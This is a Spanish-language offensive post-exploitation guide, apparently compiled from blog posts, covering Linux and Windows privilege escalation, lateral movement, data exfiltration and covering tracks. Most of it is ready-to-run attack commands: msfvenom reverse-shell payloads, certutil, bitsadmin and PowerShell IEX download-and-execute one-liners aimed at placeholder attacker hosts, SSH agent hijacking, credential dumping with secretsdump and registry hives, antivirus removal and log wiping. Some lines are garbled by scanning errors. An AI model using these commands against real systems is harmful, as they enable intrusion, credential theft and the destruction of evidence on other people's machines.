$ objdump /usr/local/bin/program_name | grep RUNPATH

Después de esto, obtendremos los directorios señaladores RPATH


y RUNPATH

Asumiendo

/tmp/program/libs

En ese directorio, podemos colocar nuestro archivo malicioso


hacker.so (archivo de objeto compartido).

Secuestro de objeto compartido

Crear archivo .so usando msfvenom

msfvenom -a x64 -p linux/x64/shell_reverse_tcp LHOST=<attacker


IP> \

LPORT=<attacker LPORT> -f elf-so -o program_name.so

Inicie el servidor Python en la máquina del atacante donde se


encuentra nuestro hacker malicioso.

python -m SimpleHTTPServer 80

En el sistema de destino
cd /tmp/program/libs && wget
http://AtackerIP/program_name.so

Inicie el controlador múltiple en el sistema del atacante

use exploit/multi/handler

exploit(multi/handler) > set payload linux/x64/shell_reverse_tcp

exploit(multi/handler) > set LHOST <attackerIp>

exploit(multi/handler) > set LPORT <attackerLport>

exploit(multi/handler) > exploit -j

Exploit running as background job 0.

Y ejecute binarios vulnerables en el sistema de destino y obtendrá


un shell meterpreter en su sistema atacante

De esta manera, también podemos aprovechar la inyección de


comodines si es un binario como / usr / bin / nombre_programa /
var / *

podemos poner nuestro archivo malicioso junto a / var / path y


podemos obtener fácilmente el shell inverso como root si el
binario se está ejecutando en el permiso de root o en un cronjob.

Abuso de LD_PRELOAD y LD_LIBRARY_PATH LD_PRELOAD y


LD_LIBRARY_PATH son variables de entorno. LD_PRELOAD
permite indicar un directorio adicional para buscar bibliotecas y la
biblioteca LD_PRELOAD que se cargará antes que cualquier otra
biblioteca cuando se ejecute el programa.

LD_PRELOAD cargará el archivo .so malicioso antes de que se


ejecute el programa.
LD_PRELOAD=/tmp/hacker/hackerfile.so
/usr/bin/programe_name

LD_LIBRARY_PATH agregará el directorio para buscar bibliotecas

export LD_LIBRARY_PATH=/tmp/hacker/

Ahora, si ejecutamos el programa, cargará nuestro archivo de


objeto compartido malicioso y realizará la acción deseada.

Solo presento algunas técnicas básicas de explotación binaria,


cubriré el nivel de principiante a intermedio de este tema en mi
próxima serie de blogs de desarrollo de exploits.

Escalada de privilegios de Docker

Si encontramos que Docker se está ejecutando en fases anteriores,


podemos usarlo fácilmente para escalar privilegios

docker run -v /etc/shadow:/docker/hashedpasswords -d postgres

cat /docker/hashedpasswords > /docker/cleanpswd.txt

chmod 777 /docker/cleanpswd.txt

cat /docker/cleanpswd.txt

docker exec -it <CONTAINER_ID> /bin/bash

docker run -v /root:/mnt it <CONTAINER_ID>

Introducción
discutiremos algunas herramientas para realizar nuestro proceso
de post-explotación y ahorraremos nuestro tiempo y esfuerzos.

Scripts posteriores a la enumeración

LinEnum.sh

https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

Este script se utiliza para realizar la enumeración de publicaciones


de Linux / enumeración de Linux local y comprobaciones de
escalado de privilegios.

¿Cómo utilizar?

Debe descargarlo en la máquina de destino usando wget o curl.

También puede usar python, php, ruby o nc para iniciar el servidor


web estático HTTP.

python -m SimpleHTTPServer 8080

python3 -m http.server 80

PHP

php -S localhost:80

Rubí
ruby -run -ehttpd . -p80

Netcat

while true ; do nc -l 80 < LinEnum.sh

Descarga usando curl y wget

curl -x -o LinEnum.sh http://<AttackerIP>/LinEnum.sh

wget

wget http://<AttackerIP>/LinEnum.sh

chmod +x LinEnum.sh

./LinEnum.sh

Y automatizará el proceso de enumeración posterior y dará un


resultado valioso

Pspy

Esta herramienta monitorea los procesos de Linux sin permisos de


root

Descargue su binario en su sistema atacante, inicie el servidor


local como antes y descárguelo en la máquina de la víctima.

Después de la descarga, ejecútelo y realizará el monitoreo por


usted.

Sugestor de exploits de Linux

https://github.com/InteliSecureLabs/Linux_Exploit_Suggester

Linux_Exploit_Suggester sugiere exploits basados en el número de


versión del sistema operativo, lo que ayuda al atacante a explotar
el objetivo.
Searchsploit Hemos hablado de esta herramienta en fases
anteriores, también puede ayudarnos a verificar un exploit
particular para el objetivo.

Kernelpop

https://github.com/spencerdodd/kernelpop

marco de enumeración y explotación de escalamiento de


privilegios del kernel.

descárgalo desde el enlace de arriba

$ cd kernelpop

$ python3 kernelpop.py

Automatizará la enumeración y explotación de vulnerabilidades


del kernel

Bashark

Bashark ayuda a los probadores de lápiz e investigadores de


seguridad durante la fase posterior a la explotación de las
auditorías de seguridad. Uso

Para iniciar Bashark en un host comprometido, simplemente


obtenga el script bashark.sh desde la terminal: $ source
bashark.sh Luego escriba help para ver el menú de ayuda de
Bashark

Características

Secuencia de comandos de Bash único

Ligero y rápido

Multiplataforma: Unix, OSX, Solaris, etc.


Sin dependencias externas

Inmune al análisis heurístico y conductual

Alias incorporados de comandos de shell de uso frecuente

Extiende el shell del sistema con funcionalidades orientadas a la


posexplotación

Sigiloso, con rutina de limpieza personalizada activada al salir

Fácilmente extensible (agregue nuevos comandos creando


funciones Bash)

Finalización de pestaña completa

wget
https://raw.githubusercontent.com/TheSecondSun/Bashark/mast
er/bashark.sh

y simplemente ejecútalo

chmod +x bashark.sh

./bashark.sh

Linuxprivchecker

Enumera las configuraciones del sistema y comprueba la escalada


de privilegios

wget //www.securitysift.com/download/linuxprivchecker.py

python3 linuxprivchecker.py

linux-exploit-sugestor-2

Linux_Exploit_Suggester-2 es la versión extendida de


Linux_Exploit_Suggester anterior utilizada para encontrar
vulnerabilidades de escalada de privilegios de Linux en el sistema.
git clone //github.com/jondonas/linux-exploit-suggester-2.git

cd linux-exploit-suggester-2

./linux-exploit-suggester-2.pl

BeRoot Privilege Escalation Project - Windows / Linux / Mac


BeRoot Project es una herramienta posterior a la explotación para
verificar configuraciones erróneas comunes y encontrar una
manera de escalar nuestro privilegio. Se ha añadido al proyecto
pupy como módulo de post explotación (por lo que se ejecutará en
memoria sin tocar el disco).

Por ahora, lo estamos usando para Linux.

Características de BeRoot:

Verificar permisos de archivos

Contenedor SUID

Aplastamiento de raíz NFS

Estibador

Reglas de sudo

Explotación del kernel

wget
https://raw.githubusercontent.com/AlessandroZ/BeRoot/master/L
inux/beroot.py

chmod +x beroot.py

./beroot.py

Movimiento lateral y exfiltración de Linux.


Introducción

discutiremos, movimientos laterales de Linux, Exfiltración de


datos, cubriendo pistas.

Movimiento lateral

Es una técnica para moverse en una red en busca de datos o


activos para exfiltrar y obtener acceso a múltiples activos objetivo.

Secuestro de SSH

Para que este método tenga éxito, la máquina comprometida


debe tener una sesión SSH activa establecida en otra máquina a
través de la autenticación de clave pública.

# Attacker finds the SSHd process of the victim

ps uax|grep sshd

``

``

# Attacker looks for the SSH_AUTH_SOCK on victim's environment


variables

grep SSH_AUTH_SOCK /proc/<pid>/environ


``

``

# Attacker hijack's victim's ssh-agent socket

SSH_AUTH_SOCK=/tmp/ssh-XXXXXXXXX/agent.XXXX ssh-add -l

``

``

# Attacker can log in to remote systems as the victim

ssh remote_system -l victim

Túneles SSH

Se utiliza para reenviar el puerto de la máquina atacante para


acceder a los activos internos.

Reenvío de puerto local en el puerto 8080 a través de SSH TUNNEL


desde la sesión del atacante a otra máquina.

sudo ssh -L 127.0.0.1:8080:192,168.1,118:8080


user@<targetIP> Reenvío remoto en 8080, reenvío al atacante en
443

sudo ssh -R8080:127.0.0.1:443 user@<targetip>

sshuttle es una alternativa para la tunelización ssh

https://github.com/sshuttle/sshuttle

Encadenamiento de proxy

proxychains: redirige las conexiones a través de servidores proxy


Para configurar ProxyChains, simplemente editamos el archivo de
configuración principal (/etc/proxychains.conf) y le agregamos
nuestro proxy SOCKS4, agregaremos la siguiente línea archivo
proxychains.conf

socks4 127.0.0.1 1337 ssh -D1337 root@2.2.2.2 (For dynamic


tunneling)

En una ejecución de terminal separada: proxychains nmap -A -p-


<10.10.10.139> Y podrá usar nmap con proxychains para
escanear cualquier host interno. Túneles de Proxychains utilizados
para descubrir servicios de host internos y redes internas.

VPNPivot VPN Pivot envía y recibe una pila TCP / IP


completamente encriptada a través de un socket de flujo TCP,
luego los pares la reenvían al dispositivo / host deseado. El
atacante explora la red interna como pertenece a ella dentro de
una dirección IP local tomada del servidor DHCP o configurada
estáticamente.

Instalación

# git clone https://github.com/0x36/VPNPivot.git

cd VPNPivot

./autogen.sh

./configure
make && make install

Uso: ./src/pivotc <server IP> <server port> <locale IP> [MTU]

The options are :

server IP: the IP address of the server (pivots)

server port: the port which the server is listening on

locale IP: the IP address of the network interface connected to


the unreachable network.

MTU: the MUT is optional unless you're changing it in pivots

Secretos del sistema Samba para hacerse cargo de la


administración del dominio

tdbdump /var/lib/samba/private/secrets.tdb Si obtenemos hash


NTLM para cualquier máquina en el dominio, podemos
comprometerlo usando pasar la técnica de hash.

Explicaré pasar el hash en la próxima publicación del blog.

Exfiltración de datos

Exfiltración de datos confidenciales de la máquina de destino y


posesión de esos datos para ver la gravedad.

Existen muchas técnicas para mover datos de la máquina objetivo


a la máquina atacante.
** Usando SSH **

Iniciar nc listner en la máquina del atacante

nc -nlvp 80 > Targetdata.tmp

En la máquina de destino

tar zcf - /tmp/datafolder | ssh root@<attackerIP> "cd /tmp; tar


zxpf -"

**

Cubrir pistas

Lavarse las manos, después cometió un pecado.

Borrar archivo auth.log

echo "" /var/log/auth.log

Borrar el historial de bash del usuario actual

echo "" -/.bash history

Eliminar archivo .bash_history

rm -/.bash histor/ -rf

Borrar el historial de sesiones actual

history -c

Establecer el historial de líneas máximas en 0

export HISTFILESIZE=O

Establecer los comandos de historial máximo en 0

export HISTSIZE=O
Para matar la sesión actual

kill -9 $$

Para enviar permanentemente todos los comandos del historial de


bash a / dev / null

ln /dev/null -/.bash_history -sf

También hay muchas otras técnicas, puede comprobarlas usted


mismo y seguir practicando.

Impacket en acción

Introducción

aprenderemos sobre la biblioteca Impacket y su uso durante el


pentesting, también discutiremos algunas de las herramientas
útiles de esta biblioteca. Esta publicación es para aquellos que
conocen los conceptos básicos de Active Directory y los Servicios
de administración de Windows. Si es nuevo, haga una búsqueda
en Google si se siente incómodo.

Impacket

https://github.com/SecureAuthCorp/impacket.git

Clonar el repositorio

git clone https://github.com/SecureAuthCorp/impacket.git


Impacket es una colección de clases de Python para trabajar con
protocolos de red. Impacket se centra en proporcionar acceso
programático de bajo nivel a los paquetes y, para algunos
protocolos (por ejemplo, SMB1-3 y MSRPC), la implementación del
protocolo en sí. Los paquetes pueden construirse desde cero, así
como analizarse a partir de datos sin procesar, y la API orientada
a objetos simplifica el trabajo con jerarquías profundas de
protocolos. La biblioteca proporciona un conjunto de
herramientas como ejemplos de lo que se puede hacer dentro del
contexto de esta biblioteca.

¿Qué protocolos se presentan?

Captura "cocinada" de Ethernet, Linux.

IP, TCP, UDP, ICMP, IGMP, ARP.

Compatibilidad con IPv4 e IPv6.

NMB y SMB1, SMB2 y SMB3 (implementaciones de alto nivel).

MSRPC versión 5, sobre diferentes transportes: TCP, SMB / TCP,


SMB / NetBIOS y HTTP.

Autenticaciones simples, NTLM y Kerberos, mediante contraseña /


hashes / tickets / claves.

Partes / implementación completa de las siguientes interfaces


MSRPC: EPM, DTYPES, LSAD, LSAT, NRPC, RRP, SAMR, SRVS,
WKST, SCMR, BKRP, DHCPM, EVEN6, MGMT, SASEC, TSCH, DCOM,
WMI.

Partes de implementaciones de protocolo TDS (MSSQL) y LDAP.

pip install -r requirements.txt

python setup.py install


Puede encontrar cualquiera de las herramientas de impacket en el
archivo '/ impacket / examples'.

Explicación

addcomputer.py: permite agregar una computadora a un dominio


usando LDAP o SAMR (SMB).

addcomputer.py -method SAMR -computer-pass <PASSWORD> -


computer-name <NAME> DOMAIN/USER:PASSWORD

Hemos agregado una nueva computadora usando SAMR (Security


Account Manager (SAM) Remote Protocol (Client-to-Server)) a un
dominio.

GetUserSPNs.py : este ejemplo intentará buscar y obtener los


nombres principales del servicio que están asociados con las
cuentas de usuario normales. La salida es compatible con JtR y
HashCat.

Si encontramos alguna cuenta de usuario configurada con la


delegación sin restricciones, podemos obtener sus tickets de
Kerberos y podemos intentar descifrar ese ticket.

GetUserSPNs.py DOMAIN/USER:PASSWORD -request-user


<UNCONSTRAINED_USER>

GetNPUsers.py: este ejemplo intentará enumerar y obtener TGT


para aquellos usuarios que tengan la propiedad 'No requieren
autenticación previa de Kerberos' establecida
(UF_DONT_REQUIRE_PREAUTH). La salida es compatible con JtR.

GetNPUsers.py DOMAIN/USER -dc-ip 10.10.10.161 (TargetIP)

secretdump.py Realiza varias técnicas para volcar secretos desde


la máquina remota sin ejecutar ningún agente allí.

secretsdump.py DOMAIN/USER:PASSWORD@<VictimIP>
secretsdump Empire/locus:brokeme@198.162.0.1

lookupsid.py : solía enumerar los usuarios locales y de dominio en


la máquina de Windows de destino.

lookupsid.py user:password@<targetip>

ntlmrelayx.py: este script realiza ataques de retransmisión NTLM,


configura un servidor SMB y HTTP y transmite credenciales a
muchos protocolos diferentes (SMB, HTTP, MSSQL, LDAP, IMAP,
POP3, etc.). El script se puede utilizar con ataques predefinidos
que se pueden activar cuando se retransmite una conexión (por
ejemplo, crear un usuario a través de LDAP) o se puede ejecutar
en modo SOCKS. En este modo, por cada conexión retransmitida,
estará disponible para ser utilizada más tarde varias veces a
través de un proxy SOCKS.

ntlmrelayx.py --escalate-user username -t


ldap://DOMAIN_CONTROLLER

ntlmrelayx.py -t ldap://10.10.10.161 --escalate-user svc-alfresco

psexec.py : se utiliza para realizar la ejecución remota de código,


ejecuta procesos en sistemas remotos y redirige la salida de las
aplicaciones de la consola al sistema local para que estas
aplicaciones parezcan estar ejecutándose localmente.

psexec.py -hashes <LM hash> domain/user@<TargetIP>

psexec.py -hashes :73ry4923rho24jr2jeor2po3j


Empire/administrator@192.168.10.16 powershell.exe

smbexec.py : se centra en el uso de funciones / características


nativas de Windows para la posexplotación y la expansión del
acceso a una red después de obtener algunas credenciales, ya sea
un hash o una contraseña para una cuenta local o de dominio. Es
similar a psexec.
smbexec.py Empire/administrator@192.168.10.16

También puedes usar hash.

wmiexec.py: un shell semi-interactivo, utilizado a través de


Windows Management Instrumentation. No requiere instalar
ningún servicio / agente en el servidor de destino. Funciona como
administrador. Muy sigiloso.

wmiexec.py 'Empire/administrator@192.168.10.16'

smbserver.py: una implementación de Python de un servidor


SMB. Permite configurar rápidamente cuentas de usuario y
recursos compartidos.

smbserver.py temp /DIRECTORY/win_binaries

Ha ejecutado el servidor smb en su máquina, ahora puede


compartir recursos y también utilidades de Windows con el
sistema de destino. Para comprobar el servidor

smbclient //yourIP/temp

En el sistema de destino

\\10.10.14.6\temp\whoami.exe

Explotación de Windows

Introducción

aprenderemos las técnicas y enfoques de explotación remota de


Windows para interactuar con un objetivo. También buscaremos
ejemplos y uso de herramientas.

Explotación remota de la red de Windows


El proceso de explotación en el que los atacantes explotan los
servicios de escucha en la red objetivo e intentan acceder al
sistema objetivo.

Autenticación de Windows

Windows utiliza dos tipos de protocolos de autenticación para la


autenticación de clientes y servidores, NTLM y Kerberos.

NTLM

NTLM (New Technology LAN Manager) es el protocolo de


autenticación utilizado en redes que incluyen sistemas que
ejecutan el sistema operativo Windows y en sistemas
independientes.

¿Cómo funciona NTLM?

Un usuario accede a una computadora cliente y proporciona un


nombre de dominio, un nombre de usuario y una contraseña. El
cliente calcula un hash criptográfico de la contraseña y descarta la
contraseña real.
El cliente envía el nombre de usuario al servidor para autenticarse.

Luego, el servidor genera un número aleatorio de 16 bytes,


llamado desafío o nonce, y lo envía al cliente solicitado.

Después, el cliente cifra este desafío con el hash de la contraseña


del usuario y envía la respuesta del resultado al servidor.

Luego, el servidor envía, nombre de usuario, desafío enviado al


cliente, la respuesta recibida del cliente, al controlador de dominio
(Servidor de autenticación).

El controlador de dominio utiliza el nombre de usuario para


recuperar el hash de la contraseña del usuario de la base de datos
SAM (Security Account Manager). Utiliza este hash de contraseña
para cifrar el desafío.

Luego, DC compara el desafío cifrado que calculó (en el paso 6)


con la respuesta que calculó el cliente (en el paso 4). Si son
idénticos, la autenticación es correcta para el sistema cliente.

Consulte para obtener más información sobre NTLM

Explicación de hashes LM / NT
Kerberos

Los dominios de Windows utilizan Kerberos como protocolo


subyacente para SSO. Un usuario puede iniciar sesión en el
dominio al comienzo de la jornada laboral y el sistema utiliza las
mismas credenciales para acceder a los recursos del dominio.
Kerberos también es utilizado por los sistemas Unix hoy en día.

¿Cómo funciona Kerberos?

Un usuario que accede a una computadora cliente envía una


solicitud de autenticación al servidor Kerberos, incluida la
identificación de inicio de sesión del usuario.

La respuesta del servidor de autenticación, incluida la clave


simétrica cifrada y el ticket de concesión de tickets con sello de
tiempo (TGT)

Luego, el cliente envía una solicitud de autenticación de red que


incluye TGT y el nombre del servidor de destino, por ejemplo, MS
Active Directory.

Después de esa respuesta del servidor Kerberos, incluido el ticket


de sesión para usar con el servidor de destino
El cliente presenta un ticket de sesión con sello de tiempo al
servidor de destino como la autenticación

Finalmente, el servidor de destino proporciona autenticación al


cliente.

¡Autenticación exitosa!

Importante .

Algunos módulos NTLM que roban Metasploit

auxiliar / admin / mssql / mssql_ntlm_stealer

auxiliary/admin/mssql/mssql_ntlm_stealer

Ejecución de código de retransmisión de Oracle SMB

auxiliary/admin/oracle/ora_ntlm_stealer

Enumeración de información del host mediante autenticación


NTLM

auxiliary/scanner/http/ntlm_info_enumeration

Extracción de dominios SMTP NTLM

auxiliary/scanner/smtp/smtp_ntlm_domain

Utilidad de inicio de sesión de WinRM

Este módulo intenta autenticarse en un servicio WinRM.

auxiliary/scanner/winrm/winrm_login

Para romper el hash NTLM


Existen muchas técnicas para descifrar el hash NTLM

Formatos de John Hashes

john --format=netlm hashpwd_netntlm

Uso de tablas de arco iris para descifrar hash

rcracki_mt

Descargar tablas de arcoíris

[http://project-rainbowcrack.com/table.htm]
[http://ophcrack.sourceforge.net/tables.php]

rcracki_mt -h 1f548398f0f49ea1 -t 4 *.rti

-h: se utiliza para especificar los primeros 8 bytes del LMHASH

-t: es la cantidad de subprocesos a utilizar

* .rti: es la ruta de las tablas arcoíris descargadas

** Suponga que encuentra solo la mitad de la contraseña **

En '' ls / usr / share / metasploit-framework / tools / password ''

También hay una herramienta que también se puede utilizar para


este propósito conocida como ruby halflm_second.rb.

ruby halflm_second.rb -n
1f548398f0f49ea18e2f0dcb9562b75eaa32e75aebf1d69c -p
HALFPSWD

Para convertir el resultado en una contraseña sensible a


mayúsculas y minúsculas

perl netntlm.pl -file /root/hashpwd_netntlm -seed FULLHALFPSWD

SMBRelay Attack
Es una especie de ataque Man in The Middle en el que el atacante
retransmite solicitudes de autenticación SMB a otro host,
obteniendo acceso a una sesión SMB autenticada si tiene éxito.

Módulo Metasploit para este propósito

msfconsole

use exploit windows/smb/smb_relay

msf5 exploit(windows/smb/smb_relay) > info

Lea sobre este módulo mediante el comando info en Metasploit

Otro exploit para SMBRelay,

También puede utilizar smbrelayx.py de Impacket para este


propósito.

smbrelayx.py: Exploit para CVE-2015-0005 usando un ataque de


retransmisión SMB. Si el sistema de destino está imponiendo la
firma y se proporcionó una cuenta de máquina, el módulo
intentará recopilar la clave de sesión SMB a través de NETLOGON.

Usando Msfvenom, cree Windows reverse TCP .exe payload para


trabajar con smbrelayx.py

msfvenom -p windows/meterpreter/reverse_tcp
LHOST=<AttackerIP> LPORT=<Port> -f exe -o hacker.exe

Inicie Metasploit Multi / handler en Attacker Machine set


exploit/multi/handler Configure las opciones y use smbrelayx.py

smbrelayx.py -h <TargetIP> -e /home/hacker.exe

Para comprobar y utilizar el exploit de otras vulnerabilidades de


Windows

Ejecute el comando a continuación en msfconsole


show exploits Windows

Enumeración posterior de Windows

Introducción

aprenderemos sobre las técnicas de enumeración de publicaciones


manuales para recopilar información sobre el objetivo
comprometido con el fin de aumentar los privilegios, la exfiltración
de datos y el acceso persistente.

Después de comprometer un dispositivo y tener acceso a nivel de


sistema, ahora recopilaremos más información sobre el sistema
de destino para obtener el gran alcance y escalar nuestros
privilegios.

El primer comando para ejecutar

Para obtener información del sistema

systeminfo

Para obtener información del sistema de forma remota

systeminfo /S <targetIp> /U <domain>\<user> /P <Password>

Para enumerar el usuario actual, sid, grupos de los que el usuario


actual es miembro y sus sids, así como el nivel de privilegio actual.
whoami /all

Para obtener la versión del sistema operativo

ver

Para verificar los permisos de archivos / carpetas

cacls

icacls

Mostrar procesos y servicios en sistema.

tasklist /svc

Para mostrar todos los procesos y DLL

tasklist /m

Al listado de procesos remotos

tasklist /S ip /v

Mostrar todas las variables ambientales.

set

Para buscar USERDOMAIN, USERNAME, USERPROFILE,


HOMEPATH, LOGONSERVER, COMPUTERNAME, APPDATA y
ALLUSERPROFILE específicos, utilícelos setcon ellos.

set USERPROFILE

Para mostrar los servicios del sistema

sc query state=all

net start

Para buscar en el registro contraseñas / o cualquier cadena


reg query HKLM /f password /t REG SZ /s

Para enumerar todas las tareas programadas actualmente para


las que su usuario actual tiene acceso para ver.

schtasks

Para obtener más información sobre un servicio

sc getkeyname <service name> //It will give you a key

sc queryex <keyname>

Para obtener toda la información sobre la estación de trabajo

net config workstation

Para mostrar hosts en el dominio actual

net view /domain

Para enumerar todos los usuarios en el dominio actual

net user /domain

Para agregar un usuario

net user username password /add

Para agregar un usuario en Administradores

Add user to Administrators

Para comprobar las configuraciones de red del sistema

ipconfig /all

Para mostrar la caché de DNS local

ipconfig /displaydns
Conocer los puertos de escucha del sistema

netstat -ani findstr LISTENING

Para enumerar todas las conexiones abiertas

netstat -ana

Para imprimir la política de contraseñas del dominio

net accounts /domain

Para imprimir los miembros del grupo local de administradores

net localgroup administrators

Para encontrar una sesión SMB activa

net session I find I "\\"

Para buscar archivos para la cadena de contraseña

findstr /si password' .txt I *.xmll *.xls

Para mostrar información de dominio y DC

wmic ntdomain list

Para buscar servicios con rutas de acceso binario sin comillas

wmic service get namee,displayname,pathnamee,startmode |


findstr /i "auto" | findstr /i /v "C:\windows\\" | findstr /i /v """

Para encontrar otras redes y rutas estáticas que se han


establecido

route print

Para encontrar el archivo que coincide con la cadena de búsqueda

dir \ /s /b | find /I “searchstring


Desinstalación del software "AntiVirus" (no interactivo)

wmic product get name /value (this gets software names)

wmic product where name="XXX" call uninstall /Interactive:Off


(this uninstalls software)

Para deshabilitar la autenticación a nivel de red, agregue la


excepción de firewall

reg add "HKEY


LOCAL_MACHINE\SYSTEM\CurentControlSet\Control \Terminal
Server\WinStations\RDP-TCP" /v UserAuthentication /t
REG_DWORD /d "0" /f

netsh firewall set service type = remotedesktop mode = enable

Comandos de WMI

BIOS de wmic

wmic qfe

wmic qfe get hotfixid (esto obtiene ID de parches)

inicio de wmic

servicio wmic

wmic os

proceso wmic obtener título, ruta ejecutable, línea de comandos

llamada de proceso wmic crear "nombre_proceso" (ejecuta un


programa)

proceso wmic donde termina la llamada name = "process_name"


(termina el programa)
wmic logicaldisk donde drivetype = 3 obtiene nombre, espacio
libre, nombre del sistema, sistema de archivos, tamaño,

volumeserialnumber (información del disco duro)

wmic useraccount (nombres de usuario, sid y varios beneficios


relacionados con la seguridad)

wmic useraccount get / ALL

wmic share get / ALL (puede usar? para obtener ayuda!)

Lista de inicio de wmic completa (¡puede ser una lista enorme!)

wmic / node: las BIOS de "hostname" obtienen el número de serie


(esto puede ser excelente para encontrar información de garantía
sobre el objetivo)

Comando Reg

reg save HKLM \ Security security.hive (Guardar el subárbol de


seguridad en un archivo)

reg save HKLM \ System system.hive (Guardar el subárbol del


sistema en un archivo)

reg save HKLM \ SAM sam.hive (Guardar sam en un archivo) =

reg add [\ TargetIPaddr] [RegDomain] [\ Key]

reg exportar [RegDomain] [Key] [FileName]

reg import [Nombre de archivo]

reg query [\ TargetIPaddr] [RegDomain] [Key] / v [Valuename!]


(puede agregar / s para todos los valores recurrentes)

Escalada manual de Windows

Introducción
discutiremos algunas técnicas manuales para escalar privilegios
de acuerdo con obtener privilegios estándar en la red de destino.

Utilidades de transferencia de archivos de Windows

Discutiremos algunas utilidades para descargar cargas útiles


remotas y ejecutarlas para realizar acciones maliciosas en el
sistema de destino.

Certutil

Certutil es un programa CLI que se puede utilizar para volcar y


mostrar la autoridad de certificación (CA), la información de
configuración, configurar los Servicios de Certificate Server,
realizar copias de seguridad y restaurar componentes de CA, y
verificar certificados, pares de claves y cadenas de certificados. Se
instala como parte de los Servicios de certificados.

¿Cómo podemos usarlo para descargar archivos maliciosos y


evadir el antivirus en el sistema de destino?

Comando simple para descargar archivos maliciosos y cargas


útiles desde un servidor remoto.

Puede crear cargas útiles utilizando msfvenom, veil, evilgrade u


otras herramientas
certutil -urlcache -split -f http://hacker.com/malicious.exe
malicious.exe

-URLCache: para mostrar o eliminar entradas de caché de URL

-split: para dividir el elemento ASN.1 incrustado y guardarlo en


archivos

-f: Forzar sobrescritura

Para descargar la carga útil cifrada de un servidor remoto en el


destino y ejecutarla como .exe.

certutil -urlcache -split -f http://webserver/malicious.b64


malicious.b64 & certutil -decode malicious.b64 malicious.exe &
malicious.exe

Descargue la carga útil codificada, decodificándola y combinando


algunos comandos en una línea, con InstallUtil.exe ejecutando una
DLL específica como carga útil.

certutil -urlcache -split -f http://hacker/malicious.b64


malicious.b64 & certutil -decode malicious.b64 malicious.dll &
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil
/logfile= /LogToConsole=false /u malicious.dll

Bitsadmin

El Servicio de transferencia inteligente en segundo plano es un


componente de Microsoft Windows XP y las iteraciones
posteriores de los sistemas operativos, que facilitan la
transferencia asincrónica, priorizada y acelerada de archivos entre
máquinas que utilizan ancho de banda de red inactivo.

Para descargar archivos desde un servidor remoto

bitsadmin /transfer hacker http://hacker.com/evil.pe


c:\System32\evil.exe
También podemos ejecutar la carga útil usando bitsadmin

bitsadmin /addfile hacker http://hacker.com/evil.pe


c:\System32\evil.exe

bitsadmin /SetNotifyCmdLine evil.exe /complete hacker | start /B


C:\evil.exe"

Cscript

cscript.exe es un host de secuencias de comandos basado en


consola de Microsoft (r) de Microsoft Corporation que pertenece a
Microsoft (r) Windows Script Host. Con Cscript.exe, puede ejecutar
secuencias de comandos escribiendo el nombre de un archivo de
secuencia de comandos en el símbolo del sistema.

cscript //E:jscript \\webdavserver\folder\payload.txt

Crear archivo Vbs para wget VbScript wget.vbs

echo strUrl = WScript.Arguments.Item(0) > wget.vbs

echo StrFile = WScript.Arguments.Item(1) >> wget.vbs

echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >>


wget.vbs

echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >>


wget.vbs

echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >>


wget.vbs

echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >>


wget.vbs echo Dim
http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs

echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >>


wget.vbs

echo If http Is Nothing Then Set http =


CreateObject("WinHttp.WinHttpRequest") >> wget.vbs

echo If http Is Nothing Then Set http =


CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs

echo If http Is Nothing Then Set http =


CreateObject("Microsoft.XMLHTTP") >> wget.vbs

echo http.Open "GET",strURL,False >> wget.vbs echo http.Send >>


wget.vbs

echo varByteArray = http.ResponseBody >> wget.vbs echo Set http


= Nothing >> wget.vbs

echo Set fs = CreateObject("Scripting.FileSystemObject") >>


wget.vbs

echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs echo


strData = "" >> wget.vbs

echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to


UBound(varByteArray) >> wget.vbs

echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter +


1,1))) >> wget.vbs

echo Next >> wget.vbs echo ts.Close >> wget.vbs

Y ejecutarlo

cscript wget.vbs http://attackerIP/hacker.exe hacker.exe

** Powershell IEX **
powershell -exec bypass -c "(New-Object
Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::Default
NetworkCredentials;iwr('http://webserver/payload.ps1')|iex"

Wmic

wmic os get /format:"https://hacker/hacker.xsl"

SMB

smbclient //server/share -c 'cd c:/remote/path ; put local-file


remote-file'

Iniciando el servidor en atacante linux usando impacket

smbserver.py shareName sharePath

En la máquina de destino de Windows

C:\>net use /d \\[host]\[share name]

Si está en el shell de meterpreter, puede hacer muchas cosas muy


fácilmente, tiene muchos comandos y módulos de ejecución

Para ver comandos en meterpreter

help

Para ver ejecutar comandos

run <Tab> <Tab> Para cargar carga útil o archivos maliciosos en el


sistema de Windows por meterpreter

upload <filename>

También hay muchas otras utilidades que podemos usar para


transferir archivos en el sistema Windows
Después de la explotación y la enumeración posterior, surgen las
preguntas sobre lo que encontramos

¿Habíamos encontrado algún exploit del kernel para el sistema de


destino?

¿Habíamos encontrado rutas de servicio no cotizadas?

¿Habíamos encontrado credenciales o hashes?

¿Habíamos encontrado algún servicio ejecutándose en el


localhost?

¿Habíamos encontrado un exploit público para algún servicio?

¿Habíamos encontrado permisos de Registro inseguro?

¿Habíamos encontrado sesiones VNC / RDP / Citrix para poder


probar las derivaciones de UAC?

que permisos tenemos

ETC.

Migrar el shell de meterpreter a otro proceso

Para migrar su sesión actual de meterpreter a otro proceso para


establecer una sesión estable

run post/windows/manage/migrate

O en caparazón meterpreter

migrate <PID>

Manera fácil de obtener un shell del sistema

En el shell meterpreter, hay un comando mediante el cual puede


obtener el shell del sistema simple
getsystem

Prueba todas las técnicas disponibles para obtener el shell del


sistema en el sistema de destino.

Para especificar una técnica en particular

getsystem -t 1

Aquí '-t' es para técnicas

Explotar el servicio de ruta sin comillas

Esta técnica se utiliza para explotar PE (Portable Executable) que


tiene un espacio en el nombre del archivo y el nombre del archivo
no está entre comillas (“”) y tenemos permisos de escritura,
también podemos reemplazar ese ejecutable.

Primero, tenemos que ingresar al shell de Windows para ejecutar


comandos cmd

shell

Después de enumerar un servicio de ruta sin comillas mediante


el comando de enumeración posterior

